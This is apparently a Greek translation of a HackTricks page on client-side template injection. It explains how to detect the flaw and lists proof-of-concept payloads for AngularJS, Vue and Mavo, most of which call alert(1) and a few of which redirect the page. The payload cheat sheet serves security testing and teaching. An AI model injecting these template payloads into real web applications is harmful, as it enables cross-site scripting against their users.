8.8 KiB
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Περίληψη
Είναι σαν ένα Server Side Template Injection αλλά στο πελάτη. Το SSTI μπορεί να σας επιτρέψει να εκτελέσετε κώδικα στον απομακρυσμένο διακομιστή, το CSTI θα μπορούσε να σας επιτρέψει να εκτελέσετε αυθαίρετο κώδικα JavaScript στον browser του θύματος.
Η Δοκιμή για αυτή την ευπάθεια είναι πολύ παρόμοια με αυτήν του SSTI, ο διερμηνέας περιμένει ένα πρότυπο και θα το εκτελέσει. Για παράδειγμα, με ένα φορτίο όπως {{ 7-7 }}
, αν η εφαρμογή είναι ευάθροτη θα δείτε ένα 0
, και αν όχι, θα δείτε το αρχικό: {{ 7-7 }}
AngularJS
Το AngularJS είναι ένα δημοφιλές πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που ονομάζονται οδηγίες, ένα αξιοσημείωτο είναι το ng-app
. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργαστεί το περιεχόμενο HTML, επιτρέποντας την εκτέλεση εκφράσεων JavaScript μέσα σε διπλά αγκύλες.
Σε περιπτώσεις όπου η είσοδος χρήστη εισάγεται δυναμικά στο σώμα HTML με ετικέτες ng-app
, είναι δυνατή η εκτέλεση αυθαίρετου κώδικα JavaScript. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενος τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρουσιάζονται παραδείγματα που δείχνουν πώς μπορεί να εκτελεστεί κώδικας JavaScript:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Μπορείτε να βρείτε ένα πολύ βασικό online παράδειγμα της ευπάθειας στο AngularJS στο http://jsfiddle.net/2zs2yv7o/ και στο Burp Suite Academy
{% hint style="danger" %}
Το Angular 1.6 αφαίρεσε την αμμοθούρα έτσι από αυτήν την έκδοση ένα payload όπως {{constructor.constructor('alert(1)')()}}
ή <input ng-focus=$event.view.alert('XSS')>
θα πρέπει να λειτουργεί.
{% endhint %}
VueJS
Μπορείτε να βρείτε μια ευάθροιστη υλοποίηση Vue στο https://vue-client-side-template-injection-example.azu.now.sh/
Λειτουργικό payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Και ο κώδικας πηγής του ευάθροιστου παραδείγματος εδώ: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Μια πολύ καλή ανάρτηση σχετικά με το CSTI στο VUE μπορεί να βρεθεί στο https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Πιστώσεις: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Πιστώσεις: Mario Heiderich
Ελέγξτε περισσότερα payloads VUE στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Περισσότερα φορτία στο https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Λίστα Ανίχνευσης Βίας
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε Την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.